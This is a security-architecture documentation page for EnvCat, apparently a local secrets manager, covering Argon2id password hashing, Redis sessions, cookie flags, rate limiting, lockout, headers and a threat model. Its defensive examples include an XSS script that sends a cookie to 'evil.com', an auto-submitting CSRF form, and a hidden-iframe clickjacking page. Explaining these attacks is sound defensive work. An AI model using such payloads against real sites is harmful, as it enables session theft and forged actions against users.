Skip to main content

Authentication Security Model

Deep dive into the security architecture of EnvCat authentication.

Overview

EnvCat authentication is designed for local-first security: credentials never leave your machine, sessions are ephemeral, and industry-standard cryptography protects passwords.

Security priorities:

  1. Privacy: No external authentication services, no cloud dependencies
  2. Industry standards: Argon2id hashing (OWASP #1), HTTP-only cookies, SameSite=Lax
  3. Defense in depth: Rate limiting, account lockout, security headers
  4. Simplicity: No complex auth flows, no JWT refresh tokens, no OAuth complexity

What we protect against:

  • ✅ Brute force attacks (rate limiting, Argon2id)
  • ✅ Credential stuffing (account lockout)
  • ✅ Session hijacking (HTTP-only cookies, SameSite)
  • ✅ CSRF attacks (SameSite=Lax cookies)
  • ✅ XSS attacks (HTTP-only cookies, CSP headers)

What we DON'T protect against (out of scope for local-first):

  • ❌ Physical access to server (local deployment assumption)
  • ❌ Malicious local processes (OS-level security)
  • ❌ Network sniffing on local machine (use HTTPS in production)

Password Security

Hashing Algorithm: Argon2id

Why Argon2id:

  • Winner of Password Hashing Competition (2015)
  • OWASP #1 recommendation (as of 2023)
  • Memory-hard: Resists GPU/ASIC attacks
  • Side-channel resistant
  • Future-proof (algorithm upgrades possible)

Comparison with other algorithms:

AlgorithmOWASP RankGPU ResistantMemory CostSpeedRecommendation
Argon2id#1✅ Yes64 MB200-300msBest choice
bcrypt#2❌ NoLow100-200msAcceptable
scrypt#3✅ YesMedium200-300msAcceptable
PBKDF2Not ranked❌ NoLow200-300msLegacy only

Argon2id Configuration

Parameters (OWASP recommended):

time_cost: 2           # Iterations
memory_cost: 65536 # 64 MB (2^16 KB)
parallelism: 1 # Single thread
hash_len: 32 # 32-byte hash
salt_len: 16 # 16-byte salt (automatic)

Hash format:

$argon2id$v=19$m=65536,t=2,p=1$SaltBase64$HashBase64

Example:
$argon2id$v=19$m=65536,t=2,p=1$abcdefghijklmnop$qrstuvwxyz1234567890ABCDEFGHIJ

Components:

  • argon2id: Algorithm variant (hybrid: side-channel + GPU resistant)
  • v=19: Argon2 version
  • m=65536: Memory cost (64 MB)
  • t=2: Time cost (2 iterations)
  • p=1: Parallelism (1 thread)
  • SaltBase64: Random salt (16 bytes, base64 encoded)
  • HashBase64: Hash output (32 bytes, base64 encoded)

Security Strength

Brute force resistance:

For a 10-character random password:

  • Character space: 62 characters (a-z, A-Z, 0-9)
  • Combinations: 62^10 = ~8.4 × 10^17
  • Hashing time: ~200ms per attempt
  • Time to crack: ~5.3 billion years (single GPU)

For a 16-character password:

  • Combinations: 62^16 = ~4.8 × 10^28
  • Time to crack: ~3.0 × 10^20 years (single GPU)

GPU farm attack:

  • Argon2id requires 64 MB RAM per hash
  • Modern GPU: 16 GB RAM = ~250 concurrent hashes
  • 100-GPU farm: 25,000 concurrent hashes
  • 10-char password: Still 212 million years

Comparison with bcrypt (not memory-hard):

  • bcrypt on GPU: 10,000x faster than CPU
  • Argon2id on GPU: ~2-3x faster than CPU (memory bottleneck)
  • Argon2id is ~3,000x more resistant to GPU attacks

Password Requirements

Enforced:

  • ✅ Minimum length: 10 characters
  • ✅ Maximum length: 128 characters (prevent DoS)
  • ✅ No password in logs or error messages

Not enforced (NIST recommendation):

  • ❌ No complexity requirements (no uppercase, numbers, symbols)
  • ❌ No periodic password changes
  • ❌ No password hints

Why length > complexity:

NIST SP 800-63B (2023) recommends:

"Verifiers SHOULD NOT impose other composition rules (e.g., requiring mixtures of different character types) on memorized secrets."

Reasoning:

  1. Long passphrases are easier to remember and type
  2. Complexity rules lead to predictable patterns (P@ssw0rd1, Password123!)
  3. Length provides exponentially more entropy

Examples:

Weak (8 chars, complex):    P@ssw0rd     = ~10^14 combinations
Strong (16 chars, simple): thisislongpassword = ~10^28 combinations

Weak: Password123! (common pattern)
Strong: correct-horse-battery-staple (long passphrase)
Strong: myprojectsecurepass2025 (long, meaningful)

Password Storage

Storage location: SQLite database (/data/app.db)

Database schema:

CREATE TABLE users (
id TEXT PRIMARY KEY,
username TEXT UNIQUE NOT NULL,
password_hash TEXT NOT NULL, -- Argon2id hash (never plaintext)
...
);

Security:

  • Passwords are never stored in plaintext
  • Passwords are never logged (even hashed)
  • Passwords are never transmitted to external services
  • Hash is verified in Python process (not in SQL)

Upgradeability:

# Future: Automatically rehash with stronger parameters
if argon2.needs_update(user.password_hash):
new_hash = argon2.hash(plaintext_password)
user.password_hash = new_hash
db.commit()

Session Security

Session Storage: Redis

Why Redis:

  • Fast: 1-2ms session validation
  • Ephemeral: Auto-cleanup via TTL
  • Shared: Works across multiple API containers (future)
  • Atomic: Instant invalidation (logout, security events)

Session schema:

Key: constants_session:<session_id>

Value (Flask-Login format):
{
"_permanent": true,
"_user_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"csrf_token": "...", (future)
"created_at": 1697654400,
"last_activity": 1697658000
}

TTL: 86400 seconds (24 hours) or 2592000 seconds (30 days)

Session ID format:

  • Length: 32 bytes (256 bits)
  • Encoding: URL-safe base64
  • Entropy: 2^256 = ~10^77 possible session IDs
  • Example: a1b2c3d4e5f67890abcdef1234567890

Security properties:

  • Session IDs are cryptographically random (not sequential)
  • Guessing a valid session ID: ~10^77 attempts (impossible)
  • Session IDs are single-use after logout (deleted from Redis)
  • No session fixation (new session ID on login)

Session Cookies

Cookie configuration:

Cookie-Name: constants_session
Value: <session_id>
HttpOnly: true # JavaScript cannot access
SameSite: Lax # No cross-site requests
Secure: false # Local dev (true for HTTPS)
Path: /
Domain: localhost
Max-Age: 86400 # 24 hours (or 2592000 for "remember me")

Security properties:

PropertyProtectionHow It Works
HttpOnlyXSS attacksJavaScript cannot access cookie (even if attacker injects script)
SameSite=LaxCSRF attacksCookie not sent on cross-site POST requests (only top-level navigation)
SecureNetwork sniffingCookie only sent over HTTPS (production only)
Path=/Path-based attacksCookie sent to all paths on domain

HttpOnly protection (XSS):

// Attacker injects malicious script
<script>
// Try to steal session cookie
const cookie = document.cookie; // Empty! (HttpOnly blocks access)
fetch('https://evil.com/steal?cookie=' + cookie); // No session stolen
</script>

SameSite protection (CSRF):

<!-- Attacker's website: evil.com -->
<form action="http://localhost:8888/api/v1/bundles" method="POST">
<input name="name" value="malicious-bundle">
</form>
<script>document.forms[0].submit();</script>

<!-- Result: Cookie NOT sent (SameSite=Lax blocks cross-site POST) -->
<!-- Attack fails: 401 Unauthorized -->

Session Lifecycle

Creation (login):

  1. User submits username + password
  2. Server verifies password (Argon2id)
  3. Server generates random session ID (32 bytes)
  4. Server stores session in Redis (TTL = 24h or 30d)
  5. Server sends session ID in HTTP-only cookie
  6. Failed login counter reset to 0

Validation (each request):

  1. Browser sends cookie automatically
  2. Server extracts session ID from cookie
  3. Server looks up session in Redis (~1ms)
  4. If found and not expired: request proceeds
  5. If not found or expired: redirect to /login

Renewal (sliding window):

  1. On each authenticated request, TTL is refreshed
  2. Session stays alive as long as user is active
  3. Example: 24-hour session, user active every 12 hours → session never expires

Invalidation (logout):

  1. User clicks logout button
  2. Server deletes session from Redis (immediate)
  3. Server clears cookie (set to empty, Max-Age=0)
  4. Session ID is now invalid (cannot be reused)

Expiration (TTL):

  1. User inactive for 24 hours (or 30 days)
  2. Redis automatically deletes session (TTL expires)
  3. Next request: session not found → redirect to /login

Session Security

Threat: Session Hijacking

Attack scenario:

  1. Attacker steals session cookie (network sniffing, XSS)
  2. Attacker uses cookie to impersonate user

Mitigations:

  • ✅ HTTP-only cookies (XSS can't steal)
  • ✅ SameSite=Lax (CSRF protection)
  • ✅ Secure flag (HTTPS only, production)
  • ✅ Short TTL (24 hours by default)
  • ✅ Logout invalidates session (Redis delete)

Residual risk (local deployment):

  • ❌ Network sniffing on local machine (HTTP not encrypted)
  • ❌ Physical access to server (can read Redis)

Production mitigation:

  • Use HTTPS (Secure flag enabled)
  • Use VPN or SSH tunnel (encrypted network)
  • Firewall rules (restrict access to trusted IPs)

Rate Limiting & Account Protection

Login Rate Limiting

Strategy: Prevent brute force attacks by limiting login attempts per IP.

Configuration:

@limiter.limit("5 per 15 minutes")
def login():
pass

Behavior:

  • 5 attempts allowed per 15-minute window
  • Window is per IP address
  • Counter stored in Redis
  • Automatically resets after 15 minutes

Rate limit response:

HTTP 429 Too Many Requests
{
"error": "Too many requests"
}

Headers:
X-RateLimit-Limit: 5
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1697655000 (Unix timestamp)

Rate limit key (Redis):

Key: LIMITER:<ip_address>:/api/v1/auth/login
Value: <attempt_count>
TTL: 900 seconds (15 minutes)

Example timeline:

12:00:00 - Attempt 1 (allowed)
12:01:00 - Attempt 2 (allowed)
12:02:00 - Attempt 3 (allowed)
12:03:00 - Attempt 4 (allowed)
12:04:00 - Attempt 5 (allowed)
12:05:00 - Attempt 6 (rate limited - 429 error)
12:15:01 - Counter resets, attempts allowed again

Bypass prevention:

  • IP-based limiting (attacker can't change IP easily on local network)
  • Per-route limiting (only login endpoint is limited, not all requests)
  • Redis storage (survives API restarts)

Account Lockout

Strategy: Prevent credential stuffing by locking accounts after repeated failures.

Configuration:

# After 10 failed attempts, lock account for 1 hour
if user.failed_login_attempts >= 10:
user.locked_until = datetime.utcnow() + timedelta(hours=1)

Behavior:

  • Failed login increments failed_login_attempts counter (database)
  • After 10 failures, account locked for 1 hour
  • Locked accounts return 403 error (even with correct password)
  • Successful login resets counter to 0

Database schema:

CREATE TABLE users (
...
failed_login_attempts INTEGER DEFAULT 0,
locked_until DATETIME, -- NULL if not locked
...
);

Lockout response:

HTTP 403 Forbidden
{
"error": "Account locked until 2025-10-18T13:00:00Z"
}

Example timeline:

12:00 PM - Failed attempt 1 (counter = 1)
12:01 PM - Failed attempt 2 (counter = 2)
...
12:09 PM - Failed attempt 10 (counter = 10, locked_until = 1:00 PM)
12:10 PM - Correct password (still locked, error: "Account locked until 1:00 PM")
1:00 PM - Lockout expired, correct password accepted (counter reset to 0)

Manual unlock (advanced):

docker compose exec api python -c "
from db import get_db
from models.user import User

db = next(get_db())
user = db.query(User).filter(User.username == 'admin').first()
user.failed_login_attempts = 0
user.locked_until = None
db.commit()
"

Setup Endpoint Rate Limiting

Why limit setup endpoint:

  • Prevent abuse of user creation
  • First user should be created once (not repeatedly)

Configuration:

@limiter.limit("3 per hour")
def setup():
pass

Behavior:

  • 3 attempts per hour per IP
  • Enough for legitimate setup (1-2 attempts)
  • Too restrictive for brute force abuse

Security Headers

Headers Applied to All Responses

Configuration:

@app.after_request
def set_security_headers(response):
response.headers['X-Frame-Options'] = 'DENY'
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['X-XSS-Protection'] = '1; mode=block'
return response

X-Frame-Options: DENY

Protection: Clickjacking attacks

How it works:

  • Prevents page from being embedded in <iframe>
  • Attacker cannot overlay transparent iframe to steal clicks

Attack scenario (prevented):

<!-- Attacker's site: evil.com -->
<iframe src="http://localhost:8888/bundles" style="opacity:0.01; position:absolute; top:0; left:0;">
</iframe>
<button style="position:absolute; top:100px; left:200px;">
Click for free Bitcoin!
</button>

<!-- User clicks button, actually clicks "Delete all bundles" in hidden iframe -->
<!-- Result: X-Frame-Options: DENY blocks iframe, attack fails -->

X-Content-Type-Options: nosniff

Protection: MIME-sniffing attacks

How it works:

  • Forces browser to respect Content-Type header
  • Prevents browser from executing files as scripts if MIME type is wrong

Attack scenario (prevented):

Attacker uploads image.jpg (actually contains JavaScript)
Server serves with Content-Type: image/jpeg
Old browsers ignore MIME type and execute as JavaScript
X-Content-Type-Options: nosniff forces browser to treat as image
Attack fails (JavaScript not executed)

X-XSS-Protection: 1; mode=block

Protection: Reflected XSS attacks (legacy)

How it works:

  • Enables browser's built-in XSS filter
  • Blocks page rendering if XSS is detected

Note: Legacy header (CSP is better), but provides defense-in-depth.

Future Headers (HTTPS)

When HTTPS is enabled (production):

# Strict-Transport-Security (HSTS)
response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
# Forces HTTPS for 1 year, includes subdomains

# Content-Security-Policy (CSP)
response.headers['Content-Security-Policy'] = (
"default-src 'self'; "
"script-src 'self'; "
"style-src 'self' 'unsafe-inline'; " # Next.js needs inline styles
"img-src 'self' data:; "
"connect-src 'self'"
)
# Restricts script sources, prevents inline script injection

Threat Model

Assets to Protect

  1. User credentials (passwords)
  2. Session tokens (session IDs)
  3. Environment variables (bundles)
  4. Approval requests (ephemeral)

Threat Actors

ActorAccessMotivationSkill Level
Malicious local userSame machineData theftMedium
Network attackerLocal networkMITM, sniffingHigh
Malicious softwareBrowser contextXSS, data theftMedium
Brute force attackerRemote (if exposed)Credential guessingLow-Medium

Attack Vectors & Mitigations

AttackVectorMitigationResidual Risk
Password brute forceNetworkArgon2id (200ms), rate limiting (5/15min)Low
Credential stuffingNetworkAccount lockout (10 attempts)Low
Session hijackingNetwork sniffingHTTP-only, SameSite cookies; HTTPS (prod)Medium (local HTTP)
CSRFMalicious siteSameSite=Lax cookiesLow
XSSMalicious scriptHTTP-only cookies, CSP headersLow
ClickjackingMalicious iframeX-Frame-Options: DENYLow
SQL injectionMalicious inputSQLAlchemy ORM (parameterized queries)Very Low
Physical accessLocal serverOS-level security (out of scope)N/A

Local-First Security Benefits

Privacy

No cloud storage:

  • Credentials never transmitted to external servers
  • No third-party to breach
  • No subpoenas to comply with
  • No privacy policy changes to worry about

Air-gapped capable:

  • Works fully offline (no internet required)
  • No telemetry or analytics
  • No external dependencies

Control

You own the infrastructure:

  • Full access to database (SQLite)
  • Full access to session storage (Redis)
  • Full access to logs
  • No vendor lock-in

You set the rules:

  • Password policy (configurable)
  • Session lifetime (configurable)
  • Rate limits (configurable)

Auditability

Open-source:

  • Full code visibility (no hidden backdoors)
  • Security audit possible
  • Community review

Local logs:

  • All authentication events logged locally
  • No log shipping to third-party
  • Grep-friendly (structured JSON)

Compliance & Best Practices

OWASP Top 10 (2021)

Alignment:

OWASP CategoryEnvCat ImplementationStatus
A01: Broken Access ControlSession-based auth, protected routes✅ Implemented
A02: Cryptographic FailuresArgon2id hashing, HTTP-only cookies✅ Implemented
A03: InjectionSQLAlchemy ORM (parameterized)✅ Implemented
A04: Insecure DesignRate limiting, account lockout✅ Implemented
A05: Security MisconfigurationSecurity headers, sane defaults✅ Implemented
A07: Identification & Auth FailuresStrong hashing, session management✅ Implemented

NIST SP 800-63B (Password Guidelines)

Compliance:

GuidelineEnvCat ImplementationStatus
Minimum 8 characters10-character minimum✅ Exceeds
No complexity requirementsNo uppercase/number/symbol rules✅ Compliant
Check against breach listsNot implemented (future)⚠️ Planned
No password hintsNot implemented✅ Compliant
No periodic changesNot enforced✅ Compliant

Logging Best Practices

What we log:

  • ✅ Login attempts (success/failure)
  • ✅ Logout events
  • ✅ Account lockouts
  • ✅ Rate limit hits
  • ✅ Session creation/invalidation

What we DON'T log:

  • ❌ Passwords (plaintext or hashed)
  • ❌ Session tokens
  • ❌ Environment variable values
  • ❌ Personal information

Log format (structured JSON):

{
"timestamp": "2025-10-18T12:34:56Z",
"level": "INFO",
"event": "login_success",
"user_id": "a1b2c3d4-...",
"username": "admin",
"ip": "192.168.1.100"
}

Trade-offs & Limitations

What We Give Up (Local-First)

FeatureCloud (Doppler)EnvCat (Local)
Password resetEmail-basedManual (SQLite edit)
Multi-device sessionsSyncedIndependent (per machine)
Availability99.9% SLASelf-managed (your responsibility)
BackupAutomaticManual (your responsibility)
UpdatesAutomaticManual (docker compose pull)

What We Gain (Local-First)

BenefitCloud (Doppler)EnvCat (Local)
PrivacyTrust third-partyZero third-party risk
Cost$21/user/month$0 forever
ControlVendor rulesYour rules
ComplianceThird-party dataLocal data (easier compliance)
Air-gappedNot possibleFully supported

See Also